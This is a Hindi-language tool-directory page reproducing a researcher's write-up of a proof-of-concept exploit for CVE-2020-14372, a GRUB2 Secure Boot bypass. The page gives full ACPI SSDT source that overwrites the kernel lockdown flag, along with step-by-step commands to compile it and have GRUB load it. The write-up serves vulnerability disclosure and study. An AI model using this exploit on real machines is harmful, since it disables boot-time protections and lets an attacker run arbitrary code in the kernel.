Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-14372 — CVE-2020-14372 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और राइट-अप, जो दुर्भावनापूर्ण ACPI SSDT के माध्यम से सिक्योर बूट बाईपास का प्रदर्शन करता है, ताकि कर्नेल लॉकडाउन को अक्षम किया जा सके और मनमाना कोड निष्पादित किया जा सके। | Kitploit
उपकरण/GitHubGitHub/kukrimate/cve-2020-14372
विशेषाधिकार वृद्धिपेलोड जनरेशनभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubkukrimate/cve-2020-14372

CVE-2020-14372

CVE-2020-14372 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और राइट-अप, जो दुर्भावनापूर्ण ACPI SSDT के माध्यम से सिक्योर बूट बाईपास का प्रदर्शन करता है, ताकि कर्नेल लॉकडाउन को अक्षम किया जा सके और मनमाना कोड निष्पादित किया जा सके।

रिपॉजिटरी देखें
4125 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-14372: (इतना नहीं) सुरक्षित बूट को एक 'सरल ट्रिक' से बायपास करना

भेद्यता विवरण

एक दिन मैंने GRUB2 के कंसोल में "help" टाइप किया और कुछ वास्तव में "मजेदार" कमांड देखे:

  • read_byte ADDR: ADDR से 8-बिट मान पढ़ें
  • write_byte ADDR VAL: ADDR पर 8-बिट मान VAL लिखें

मैंने तुरंत सोचा कि मुझे सबसे मजेदार सुरक्षित बूट बाइपास मिल गया है, लेकिन ये कमांड सुरक्षित बूट के तहत निम्नलिखित आउटपुट देते हैं:

root@kitploit:~
error: Secure Boot forbids loading module .../memrw.mod.

जिज्ञासावश, इस तरह बूट करने के बाद मैंने "acpi" कमांड टाइप किया, और इसने एक उपयोग संदेश प्रिंट किया जो मुझे एक AML फ़ाइल की ओर इशारा करने के लिए कह रहा था। यह सर्वविदित है कि ACPI का दूसरा नाम "आपके कर्नेल के संदर्भ में मनमाना विक्रेता-प्रदत्त कोड चलाने का तंत्र" है, क्योंकि हम सुरक्षित बूट सक्षम होने पर ACPI तालिकाएँ लोड कर सकते हैं, हम वह "विक्रेता" हैं जो वह कोड प्रदान कर सकता है।

लेकिन चूंकि बूट किए गए कर्नेल के डेटा सेगमेंट में एक एक-बाइट फ्लैग (kernel_locked_down) होता है जो उसे बताता है कि वह "लॉक डाउन" है या नहीं, हम एक SSDT का उपयोग करके उस फ्लैग को ओवरराइट कर सकते हैं और कर्नेल को मनमाने मॉड्यूल लोड करने दे सकते हैं।

निम्नलिखित SSDT एक "बैटरी" ऑब्जेक्ट बनाकर ऐसा करता है जिसे HACK कहा जाता है, और उस ऑब्जेक्ट की _INI विधि में लेखन करता है जो हमेशा कर्नेल द्वारा निष्पादित की जाती है:

root@kitploit:~
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

मैंने Python में एक प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट लिखा है जो इस SSDT को उत्पन्न करने में मदद करता है, लेकिन इसे हाथ से एक्सप्लॉइट करना भी उतना मुश्किल नहीं है। मोटा रूपरेखा इस प्रकार है:

  1. कर्नेल कमांड लाइन में nokaslr जोड़कर KASLR अक्षम करें
  2. KASLR के बिना बूट करने के बाद kernel_locked_down प्रतीक का भौतिक पता खोजें
  3. पते को ऊपर दिए SSDT में डालें, फिर iasl का उपयोग करके उस SSDT को कंपाइल करें
  4. अंत में GRUB2 को SSDT लोड करने का निर्देश दें

PoC का उपयोग कैसे करें

मान्यताएँ:

  • हमलावर के पास चल रहे ऑपरेटिंग सिस्टम तक root पहुंच है
  • Linux UEFI सुरक्षित बूट के तहत GRUB2 संस्करण <=2.02 के साथ बूट किया गया है (2.02 के कुछ बिल्ड पैच किए गए हैं), इससे कर्नेल लॉकडाउन सक्षम हो जाएगा

जब उपरोक्त मान्यताएँ पूरी हो जाती हैं, तो /etc/default/grub संपादित करें, GRUB_CMDLINE_LINUX_DEFAULT में nokaslr जोड़ें, update-grub चलाएँ, और फिर अंत में रीबूट करें।

जब कर्नेल बिना पता स्थान लेआउट रैंडमाइजेशन के बूट हो जाता है, तो genssdt.py स्क्रिप्ट का उपयोग एक "दुर्भावनापूर्ण" SSDT उत्पन्न करने के लिए किया जा सकता है जो रनटाइम पर कर्नेल की मेमोरी को पैच करके लॉकडाउन को अक्षम कर देगा:

root@kitploit:~
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

अब जब SSDT बन गया है, तो GRUB कॉन्फ़िगरेशन फ़ाइल (आमतौर पर /boot/grub/grub.cfg) को संपादित किया जाना चाहिए ताकि GRUB इस SSDT को लोड करे (इसे इस फ़ाइल के शीर्ष पर जोड़ें):

root@kitploit:~
acpi (hd0,gpt1)/evil_ssdt.aml

डिस्क पर EFI सिस्टम पार्टीशन (जहाँ हमने ऊपर SSDT रखा है) के स्थान के आधार पर, (hd0,gpt1) को किसी और चीज़ से बदलने की आवश्यकता हो सकती है।

अंत में रीबूट के बाद, कर्नेल लॉकडाउन अक्षम हो जाना चाहिए, जिससे root को कर्नेल में मनमाना कोड निष्पादित करने की क्षमता मिल जाएगी।

टूल डाउनलोड करें